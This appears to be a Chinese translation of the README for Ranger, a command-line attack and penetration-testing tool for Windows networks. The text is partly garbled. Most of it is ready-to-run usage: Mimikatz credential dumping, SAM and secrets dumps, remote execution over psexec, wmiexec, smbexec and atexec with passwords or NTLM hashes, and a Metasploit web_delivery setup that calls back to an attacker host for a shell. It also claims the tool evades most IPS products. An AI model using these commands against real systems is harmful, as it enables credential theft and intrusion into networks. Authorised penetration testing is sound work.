一个支持安全专业人员访问和与远程基于Microsoft Windows系统交互的工具。
这个项目的构思源于这样的想法:我们并没有发明弓箭,只是找到了一种更高效的用法。
Ranger是一个命令行驱动的攻击和渗透测试工具,能够使用实例化的投石车服务器向Windows系统投送能力。只要用户拥有一组凭据或哈希集(NTLM、LM、LM:NTLM),就可以访问信任范围内的系统。
利用这一能力,安全专业人员可以从内存中提取明文凭据、访问SAM表、运行命令、执行PowerShell脚本、Windows二进制文件以及其他工具。目前,该工具能够绕过大多数IPS厂商的解决方案,除非这些方案经过定制调整以检测它。该工具是在我们的家庭实验室中开发的,旨在支持安全专业人员从事合法和/或合同授权的活动。
更多功能正在添加中,但目前该工具使用了来自PowerShell PowerView、PowerShell Mimikatz和Impacket团队相关仓库的社区贡献。
wget https://raw.githubusercontent.com/funkandwagnalls/ranger/master/setup.sh
chmod a+x setup.sh
./setup.sh
rm setup.sh
ranger --update
--scout
--secrets-dump
--wmiexec
--psexec
--smbexec
--atexec
--command
--invoker
--downloader
--executor
--domain-group-members
--local-group-members
--get-domain-membership
--get-forest-domains
--get-forest
--get-dc
--find-la-access
ranger.py [-u Administrator] [-p Password1] [-d Domain] --scout
ranger.py [-u Administrator] [-p Password1] [-d Domain] [-t target] --smbexec -q -v -vv -vvv
ranger.py [-u Administrator] [-p Password1] [-d Domain] [-t target] --psexec -q -v -vv -vvv
ranger.py [-u Administrator] [-p Password1] [-d Domain] [-t target] --psexec -c "Net User" -q -v -vv -vvv
ranger.py [-u Administrator] [-p Password1] [-d Domain] [-t target] --wmiexec -c "Net User"
ranger.py [-u Administrator] [-p Password1] [-d Domain] [-t target] --wmiexec --invoker
ranger.py [-u Administrator] [-p Password1] [-d Domain] [-t target] --wmiexec --downloader
ranger.py [-u Administrator] [-p Password1] [-d Domain] [-t target] --wmiexec --executor -c -x "im.ps1" -f "Invoke-Mimikatz -DumpCreds"
ranger.py [-u Administrator] [-p Password1] [-d Domain] [-t target] --atexec -c "Net User" --no-encoder
ranger.py [-u Administrator] [-p Password1] [-d Domain] [-t target] --wmiexec --invoker --no-encoder
ranger.py [-u Administrator] [-p Password1] [-d Domain] [-t target] --wmiexec --downloader --no-encoder
ranger.py [-u Administrator] [-p Password1] [-d Domain] [-t target] --wmiexec --executor -x "im.ps1" -f "Invoke-Mimikatz -DumpCreds" --no-encoder
ranger.py [-u Administrator] [-p Password1] [-d Domain] [-t target] --secrets-dump
ranger.py --invoker -q -v -vv -vvv
ranger.py --downloader -q -v -vv -vvv
ranger.py --executor -q -v -vv -vvv
--get-domain-membership确定实际的查询域--domain,这允许你针对与登录时不同的域进行查询ranger.py [-u Administrator] [-p Password1] [-d Domain] [-t target] --wmiexec --get-domain-membership
ranger.py [-u Administrator] [-p Password1] [-d Domain] [-t target] --wmiexec --domain "Domain.local2"
username password
username LM:NTLM
username :NTLM
username **NO PASSWORD**:NTLM
PWDUMP
username PWDUMP domain
username password domain
username LM:NTLM domain
username :NTLM domain
username **NO PASSWORD**:NTLM domain
PWDUMP domain
username PWDUMP domain
-d提供域名,则会忽略文件中的所有域名。password
LM:NTLM
:NTLM
PWDUMP
-t 192.168.195.1-100,192.168.195.200-192.168.198.3 -tl list1,list2,lis3 -tnX scan1.xml,scan2.xmlt 替换为 e 即可-e 192.168.195.1-100,192.168.195.200-192.168.198.3 -el list1,list2,lis3 -enX scan1.xml,scan2.xml-f更改-a更改-f和-a选项来更改命令,如果你想避免使用-a,可以使用Executor-x "im.ps1" -f "Invoke-Mimikatz" -a "DumpCreds"-x标识载荷(二进制或脚本)-f定义函数/cmdlet/参数-a进一步定义命令-x "im.ps1" -f "Invoke-Mimikatz" -a "DumpCreds"-x "im.ps1" -f "Invoke-Mimikatz -DumpCredsuse exploit/multi/script/web_delivery
set targets 2
set payload <choose your desired payload>
set lhost <your IP>
set lport <port for the shell make sure it is not a conflicting port>
set URIPATH /
set SRVPORT <the same as what is set by the -r option in ranger, defaults to 8888>
exploit -j
##常见问题
###SMBEXEC和WMIEXEC的访问拒绝错误 我在属于WORKGROUP的Windows机器上遇到访问拒绝错误。
当不属于域时,Windows默认没有管理共享。SMBEXEC依赖于共享已启用。此外,在WORKGROUP机器上WMIC未启用。SMBEXEC和WMIEXEC是针对域系统上启用的协议设计的。虽然可以在WORKGROUP系统上启用这些功能,但请注意你是在引入易受攻击的协议(毕竟这正是该工具所要攻击的)。在你主要家庭成员用于Facebook等用途的主系统上启用这些功能可能不是最佳选择。
enum4linux这样的工具,然后在ranger中使用--share share_name参数尝试执行SMBEXEC。##未来特性: ###彩色输出:
https://pypi.python.org/pypi/colorama添加彩色输出#致谢:
BSides Charm City 2016: 2016年4月23日